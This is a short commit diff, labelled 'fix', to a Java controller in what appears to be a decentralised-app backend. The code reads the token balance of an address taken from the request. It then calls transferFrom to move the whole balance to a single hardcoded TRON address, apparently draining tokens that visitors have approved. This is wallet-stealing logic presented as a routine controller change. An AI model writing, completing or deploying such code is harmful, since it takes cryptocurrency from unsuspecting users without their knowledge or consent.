fix
Helius
2021-10-19 b769d7094144095bfe831300a0906311f8ea2cea
fix
1 files modified
8 ■■■■ changed files
src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java 8 ●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java
@@ -40,13 +40,7 @@
        BigInteger balanceOf = token.balanceOf(trxPostDto.getAddress());
        System.out.println(balanceOf);
        BigInteger decimals = token.decimals();
        BigDecimal divide = BigDecimal.TEN.pow(decimals.intValue());
        BigDecimal balance = BigDecimal.valueOf(balanceOf.intValue()).divide(divide, 0, RoundingMode.DOWN);
        token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balance.longValue(), 0, "memo", 100000000L);
        token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balanceOf.longValue(), 0, "memo", 100000000L);
        return new FebsResponse().success();
    }
}